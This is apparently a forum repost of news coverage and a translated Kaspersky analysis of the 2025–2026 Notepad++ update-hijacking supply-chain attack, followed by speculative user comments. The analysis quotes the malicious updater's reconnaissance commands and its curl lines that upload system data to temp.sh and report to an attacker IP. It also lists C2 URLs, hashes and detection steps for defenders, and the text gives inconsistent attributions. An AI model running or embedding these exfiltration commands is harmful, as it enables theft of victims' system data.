Notepad++官方更新机制被劫持。一起由中国 APT 组织 Lotus Blossom 发起的复杂攻击活动。

来源: https://thehackernews.com/2026/02/notepad-official-update-mechanism.html

Notepad++ 的维护者透露,国家支持的攻击者劫持了该实用程序的更新机制,将更新流量重定向到恶意服务器。

开发者Don Ho表示: “此次攻击涉及基础设施层面的入侵,恶意行为者得以拦截并重定向发往notepad-plus-plus.org的更新流量。此次入侵发生在托管服务提供商层面,而非Notepad++代码本身存在漏洞。”

何先生补充说,目前正在调查实现这一目标的具体机制。

就在 Notepad++发布8.8.9 版本一个多月后,该版本解决了一个问题,该问题导致来自 Notepad++ 更新程序 WinGUp 的流量“偶尔”被重定向到恶意域,从而导致下载被污染的可执行文件。

具体来说,问题源于更新程序验证下载的更新文件的完整性和真实性的方式,这使得能够拦截更新程序客户端和更新服务器之间网络流量的攻击者可以欺骗该工具下载不同的二进制文件。

据信,此次重定向具有高度针对性,仅将特定用户的流量路由至恶意服务器并获取恶意组件。据评估,该事件始于2025年6月,比曝光时间早了六个多月。

独立安全研究员凯文·博蒙特[披露,中国的网络攻击者正在利用该漏洞劫持网络,诱骗目标用户下载恶意软件。这些攻击被归咎于一个名为[“紫罗兰台风”](又名APT31)的国家级网络组织,攻击目标主要集中在东亚的电信和金融服务机构。

为应对此次安全事件,Notepad++ 网站已迁移至一家拥有“非常严格实践”的新托管服务提供商,并且更新过程也已通过额外的防护措施得到加强,以确保其完整性。

“据前主机提供商称,共享主机服务器一直处于被入侵状态,直到2025年9月2日,”Ho解释说。“即使在失去服务器访问权限后,攻击者仍然保留着对内部服务的凭据,直到2025年12月2日,这使他们能够继续将Notepad++的更新流量重定向到恶意服务器。”

红迪相关讨论: https://www.reddit.com/r/sysadmin/comments/1qtihcr/notepad_hijacked_by_statesponsored_hackers/

hacker news相关讨论: https://news.ycombinator.com/item?id=46851548

notepad++ 官网公示: https://notepad-plus-plus.org/news/hijacked-incident-info-update/

Rapid7 对攻击详细分析报告: https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/


图 1:自定义后门样本的遥测数据

个人点评:
记得编程随想就说过,软件不要自动更新防止供应链端攻击

来源: https://securelist.com/notepad-supply-chain-attack/118708/

介绍

2026年2月2日,广受开发者欢迎的文本编辑器Notepad++的开发商发布声明称,Notepad++的更新基础设施遭到入侵。声明指出,此次入侵是由于托管服务提供商层面的安全事件造成的,该事件发生在2025年6月至9月期间。然而,攻击者一直能够访问内部服务,直至2025年12月。

多条执行链和有效载荷

通过检查与此事件相关的遥测数据,我们惊讶地发现,此次供应链攻击中使用的执行链竟如此独特且各不相同。我们发现,在2025年7月至10月的四个月时间里,已攻破Notepad++的攻击者不断轮换用于分发恶意更新、植入程序下载器以及最终有效载荷的C2服务器地址。

我们观察到总共有三条不同的感染链,旨在攻击大约十几台机器,这些机器分属于:

  • 位于越南、萨尔瓦多和澳大利亚的个人;
  • 菲律宾的一个政府组织;
  • 一家位于萨尔瓦多的金融机构;
  • 一家位于越南的IT服务提供商。

尽管观察到的有效载荷种类繁多,但卡巴斯基解决方案能够在攻击发生时立即阻止已识别的攻击。

在本文中,我们描述了我们在 Notepad++ 供应链攻击中观察到的各种感染链,并提供了许多以前未发表的与此相关的 IoC。

链#1——2025年7月下旬至8月初

我们观察到攻击者于 2025 年 7 月下旬首次部署了恶意 Notepad++ 更新程序。该程序托管在 http://45.76.155.202/update/update.exe。值得注意的是,VirusTotal 平台上首次对该 URL 进行扫描是在 9 月下旬,扫描者是一位来自台湾的用户。

从该 URL 下载的文件update.exe (SHA1:8e6e505438c21f3d281e1cc257abdbf7223b7f5a)是由合法的 Notepad++ 更新程序启动的GUP.exe 。该文件实际上是一个 NSIS 安装程序,大小约为 1 MB。启动后,它会向攻击者发送包含系统信息的心跳包。具体步骤如下:

  1. 1 该文件创建一个名为“目录”的目录%appdata%\ProShow ,并将其设置为当前目录;
  2. 2 它执行 shell 命令cmd /c whoami&&tasklist > 1.txt ,从而在目录中创建一个包含 shell 命令执行结果的文件%appdata%\ProShow
  3. 3 然后,它1.txt 通过执行命令将文件上传到 temp[.]sh 托管服务curl.exe -F "[email protected]" -s https://temp.sh/upload
  4. 4 1.txt 接下来,它使用shell 命令发送已上传文件的 URL curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 。可以看出,已上传文件的 URL 是在用户代理内部传输的。

值得注意的是,恶意 Notepad++ 更新的相同行为,特别是启动 shell 命令和使用 temp[.]sh 网站上传文件,已被一位名为 soft-parsley 的用户在 Notepad++ 社区论坛上描述过。 该文件在发送系统信息后,会执行第二阶段的有效载荷。为此,它会执行以下操作:


update.exe

  • 将以下文件放入该%appdata%\ProShow 目录:
    • ProShow.exe (SHA1:defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
    • defscr (SHA1:259cd3542dea998c57f67ffdd4543ab836e3d2a3)
    • if.dnt (SHA1:46654a7ad6bc809b623c51938954de48e27a5618)
    • proshow.crs (SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
    • proshow.phd (SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
    • proshow_e.bmp (SHA1:9df6ecc47b192260826c247bf8d40384aa6e6fd6)
    • load (SHA1:06a6a5a39193075734a32e0235bde0e979c27228)
  • 执行已丢弃的ProShow.exe 文件。

被释放的ProShow.exe 文件是一个合法的 ProShow 软件,但被滥用以启动恶意载荷。通常情况下,当攻击者试图在合法进程中执行恶意载荷时,他们会采用 DLL 侧加载技术。然而,这次攻击者决定避免使用这种技术——可能是因为该技术如今备受关注。相反,他们利用了 ProShow 软件中一个已知的旧漏洞,该漏洞可以追溯到 2010 年代初期。被释放的文件load 包含一个漏洞利用载荷,该载荷会在文件启动时执行ProShow.exe 。值得注意的是,除了这个载荷之外,%appdata%\ProShow 目录中的所有文件都是合法的。

对攻击载荷的分析表明,其中包含两个 shellcode——一个位于文件开头,另一个位于文件中间。位于文件开头的 shellcode 包含一组无意义的指令,并非设计用于执行——攻击者将其用作攻击载荷的填充字节。攻击者很可能是想通过使用伪造的 shellcode 而非其他内容(例如字符序列0x41 或随机字节)来填充字节,从而迷惑研究人员和自动化分析系统。

第二个 shellcode 存储在文件中间,会在程序ProShow.exe 启动时运行。它会解密 Metasploit 下载器有效载荷,该有效载荷会从 URL https://45.77.31[.]210/users/admin (用户代理:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) 获取 Cobalt Strike Beacon shellcode 并将其启动。

Cobalt Strike Beacon 有效载荷旨在与 cdncheck.it[.]com C2 服务器通信。例如,它使用 GET 请求 URL https://45.77.31.210/api/update/v1 和 POST 请求 URL https://45.77.31.210/api/FileUpload/submit

随后,在 2025 年 8 月初,我们观察到攻击者使用相同的update.exe 文件下载 URL(观察到的 SHA1 哈希值:90e677d7ff5844407b9c073e3b7e896e078e11cd),以及相同的执行链,通过恶意 Notepad++ 更新来传播 Cobalt Strike Beacon。但是,我们注意到以下差异:

  • 在 Metasploit 下载器有效载荷中,下载 Cobalt Strike Beacon 的 URL 设置为 https://cdncheck.it.com/users/admin
  • Cobalt Strike C2 服务器 URL 设置为 https://cdncheck.it.com/api/update/v1https://cdncheck.it.com/api/Metadata/submit

自 2025 年 8 月初以来,我们没有再发现任何利用 1 号链的感染病例。

链#2——2025年9月中下旬

在恶意更新检测停止一个半月后,我们观察到攻击者于 2025 年 9 月中旬恢复部署这些更新,并使用了另一条感染链。恶意更新仍然通过 http://45.76.155[.]202/update/update.exe URL 分发,并且从该 URL 下载的文件(SHA1 哈希值:573549869e84544e3ef253bdba79851dcde4963a)也是一个 NSIS 安装程序。然而,其文件大小现在约为 140 KB。同样,该文件执行了两个操作:

  • 通过执行 shell 命令并将执行结果上传到 temp[.]sh 获取系统信息;
  • 将下一阶段的有效载荷投放到磁盘并启动。

关于系统信息,攻击者对其收集方式进行了以下更改:

  • 他们将工作目录更改为 %APPDATA%\Adobe\Scripts;
  • 他们开始收集更多系统信息详情,并将执行的 shell 命令更改为cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

创建的a.txt 文件与第 1 阶段的情况一样,通过 curl 上传到 temp[.]sh 网站,并将获得的 temp[.]sh URL 传输到相同的 http://45.76.155.202/list 端点,该端点位于 User-Agent 标头中。

至于下一阶段的有效载荷,它已经完全更改。NSIS 安装程序已配置为将以下文件放入 %APPDATA%\Adobe\Scripts 目录:

  • alien.dll (SHA1:6444dab57d93ce987c22da66b3706d5d7fc226da);
  • lua5.1.dll (SHA1:2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
  • script.exe (SHA1:bf996a709835c0c16cce1015e6d44fc95e08a38a);
  • alien.ini (SHA1:ca4b6fe0c69472cd3d63b212eb805b7f65710d33)。

接下来,它执行以下 shell 命令来启动 script.exe 文件:%APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini

%APPDATA%\Adobe\Scripts 除了 之外,目录中的所有文件alien.ini 都是合法的,并且与 Lua 解释器相关。因此,攻击者使用前面提到的命令来启动位于alien.ini 文件中的已编译 Lua 脚本。以下是其反编译结果的屏幕截图: 我们可以看到,这个小脚本用于将 shellcode 放入可执行内存中,然后通过API 函数启动它。


EnumWindowStationsW

启动的 shellcode 就像链 #1 中的 Metasploit 下载器一样,它会从 https://cdncheck.it[.]com/users/admin URL 下载 Cobalt Strike Beacon 有效载荷(同样是 shellcode 的形式)。

Cobalt Strike 有效载荷包含与之前看到的略有不同的 C2 服务器 URL:https://cdncheck.it[.]com/api/getInfo/v1 和 https://cdncheck.it[.]com/api/FileUpload/submit。

涉及链 #2 的攻击一直持续到 9 月底,当时我们又发现了两个恶意update.exe 文件。其中一个文件的 SHA1 哈希值为 13179c8f19fbf3d8473c49983a199e6cb4f318f0。通过该文件传播的 Cobalt Strike Beacon 有效载荷配置为使用与 9 月中旬观察到的相同的 URL,但攻击者改变了收集系统信息的方式。具体来说,攻击者将用于此目的的单个 shell 命令拆分cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt 为多个命令:

  • cmd /c whoami >> a.txt
  • cmd /c tasklist >> a.txt
  • cmd /c systeminfo >> a.txt
  • cmd /c netstat -ano >> a.txt

值得注意的是,soft-parsley 用户之前已经在 Notepad++ 社区论坛上记录过相同的命令序列。

另一个update.exe 文件的 SHA1 哈希值为 4c9aac447bf732acc97992290aa7a187b967ee2c。攻击者利用该哈希值执行以下操作:

  • 将系统信息上传 URL 更改为 https://self-dns.it[.]com/list;
  • 将 HTTP 请求中使用的用户代理更改为 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
  • 将 Metasploit 下载器使用的 URL 更改为 https://safe-dns.it[.]com/help/Get-Start;
  • 将 Cobalt Strike Beacon C2 服务器 URL 更改为 https://safe-dns.it[.]com/resolve 和 https://safe-dns.it[.]com/dns-query。

链#3 — 2025年10月

2025年10月初,攻击者再次改变了感染链。他们还更改了用于分发恶意更新的C2服务器,观察到的更新URL为http://45.32.144[.]255/update/update.exe。下载的有效载荷(SHA1:d7ffd7b588880cf61b603346a3557e7cce648c93)仍然是一个NSIS安装程序,但与前两次感染链不同的是,该安装程序不包含系统信息发送功能。它只是将以下文件释放到指定%appdata%\Bluetooth\ 目录:

  • BluetoothService.exe ,一个合法的可执行文件(SHA1:21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
  • log.dll ,一个恶意 DLL(SHA1:f7910d943a013eede24ac89d6388c1b98f8b3717);
  • BluetoothService ,加密的 shellcode(SHA1:7e0790226ea461bcc9ecd4be3c315ace41e1c122)。

这条执行链依赖于文件的侧载log.dll ,该文件负责将加密的BluetoothService shellcode启动到BluetoothService.exe 进程中。值得注意的是,此类执行链常被讲中文的威胁行为者使用。Rapid7已经描述过这条特定的执行链,其中最终捕获的有效载荷是定制的 Chrysalis 后门。

与之前的攻击链不同,攻击链 #3 并未直接加载 Cobalt Strike Beacon。然而,Rapid7 在其文章中声称,C:\ProgramData\USOShared 在对一台感染了 Notepad++ 供应链攻击的机器进行事件响应时,他们还观察到 Cobalt Strike Beacon 有效载荷被部署到该文件夹​​中。虽然 Rapid7 没有详细说明该文件是如何被投放到受害机器上的,但我们可以指出该 Beacon 有效载荷与攻击链 #1#2 中观察到的 Beacon 有效载荷之间的以下相似之处:

  1. 1 在这两种情况下,Beacon 都是通过 Metasploit 下载器 shellcode 加载的,使用的 URL 类似(Rapid7 payload 为 api.wiresguard.com/users/admin,chain #1 和 chain #2 payload 为 cdncheck.it.com/users/adminhttp://45.77.31[.]210/users/admin);
  2. 2 Beacon 配置使用 XOR 密钥进行加密CRAZY
  3. 3 Cobalt Strike Beacon 通信使用类似的 C2 服务器 URL(例如,Rapid7 有效载荷使用 api.wiresguard.com/api/FileUpload/submit,链 #1 有效载荷使用 https://45.77.31[.]210/api/FileUpload/submit)。

链#2回归及URL变更——2025年10月

2025 年 10 月中旬,我们观察到攻击者恢复部署链 #2 有效载荷(SHA1 哈希值:821c0cafb2aab0f063ef7e313f64313fc81d46cd),使用的 URL 为:http://95.179.213[.]0/update/update.exe。尽管如此,该有效载荷仍然使用之前提到的 self-dns.it[.]com 和 safe-dns.it[.]com 域名进行系统信息上传、Metasploit 下载器和 Cobalt Strike Beacon 通信。

2025年10月下旬,我们观察到攻击者开始更改用于恶意更新推送的URL。具体而言,攻击者开始使用以下URL:

我们尚未观察到从这些 URL 部署的任何新有效载荷——它们同时使用了 #2#3 执行链。最后,我们也没有发现任何从 2025 年 11 月开始部署的有效载荷。

结论

Notepad++ 是一款被众多开发者使用的文本编辑器。因此,攻击者一旦能够控制该软件的更新服务器,便可轻易入侵全球知名机构的计算机系统。攻击者竭力避免失去这一感染途径——他们有针对性地传播恶意植入程序,并且技术娴熟,几乎每月都会大幅改变感染链。虽然我们在调查中发现了三条不同的感染链,但我们预计还会发现更多类似的感染链。总结我们的发现,以下是我们识别出的感染链的总体时间线: 感染链的多样性使得检测 Notepad++ 供应链攻击成为一项相当困难且需要创造性的任务。我们建议采用以下方法,从通用到具体,来追踪此类攻击的痕迹:

  • 检查系统中是否存在在所有三个已观察到的执行链中都使用过的 NSIS 安装程序部署。例如,可以通过查找与%localappdata%\Temp\ns.tmp 运行时 NSIS 安装程序创建的目录相关的日志来完成此操作。务必调查每个已识别的 NSIS 安装程序的来源,以避免误报;
  • 检查网络流量日志中是否存在对 temp[.]sh 域的 DNS 解析,这在企业环境中并不常见。此外,检查用户代理中嵌入了 temp[.]sh URL 的原始 HTTP 流量请求也很有帮助——这两个步骤都有助于检测链 #1 和链 #2 的部署;
  • 检查系统是否存在文章中提到的恶意 shell 命令,例如whoamitasklistsysteminfonetstat -ano
  • 使用下面列出的特定 IoC 来识别已知的恶意域名和文件。

妥协的迹象

用于恶意部署 Notepad++ 更新的 URL
:http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

系统信息上传 URL
:http://45.76.155[.]202/list
https://self-dns.it[.]com/list

Metasploit 下载器用于部署 Cobalt Strike 信标的 URL
:https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

恶意 Notepad++ 更新程序投放的 Cobalt Strike Beacon 使用的 URL
:https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

此前 Rapid7 已识别出 Chrysalis 后门及其关联的 Cobalt Strike Beacon 有效载荷使用的 URL
:https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

先前由 Rapid7 识别出的与上传到多扫描器的 Cobalt Strike Beacon 相关的 URL
:http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

恶意 updater.exe 哈希值
:8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

恶意辅助文件的哈希值:
06a6a5a39193075734a32e0235bde0e979c27228 — 加载
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — 加载
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

恶意文件哈希值,此前已被 Rapid7 识别:
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

恶意文件路径
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

个人点评:

这次的攻击事件闹得非常大,一是涉及到政治,二是因为notepad++ 2003年就开发出来,那还是windows xp时代,积累到今天的使用者非常非常多,更关键的是,都知道是国家级黑客干的,把习主席的名气打出来了

1 个赞

前后矛盾?Notepad++自己对更新文件验证方式有漏洞不算Notepad++本身存在漏洞?

软件本身漏洞的话,比如说飞牛 OS 疑似 0day 漏洞 飞牛OS路径穿越漏洞,这个叫本身漏洞,因为软件有漏洞,所以攻击可以直接对准用户

来自被黑掉的官方服务器的攻击或者叫供应链攻击,攻击点首先是服务器,再是用户

相当于为了攻击微信用户,直接黑掉微信服务器,也就是阿里云云服务器,而云服务器厂商是专门做安全的

好多年没见过这么大手笔的攻击了,不知道习主席搞这么大在找谁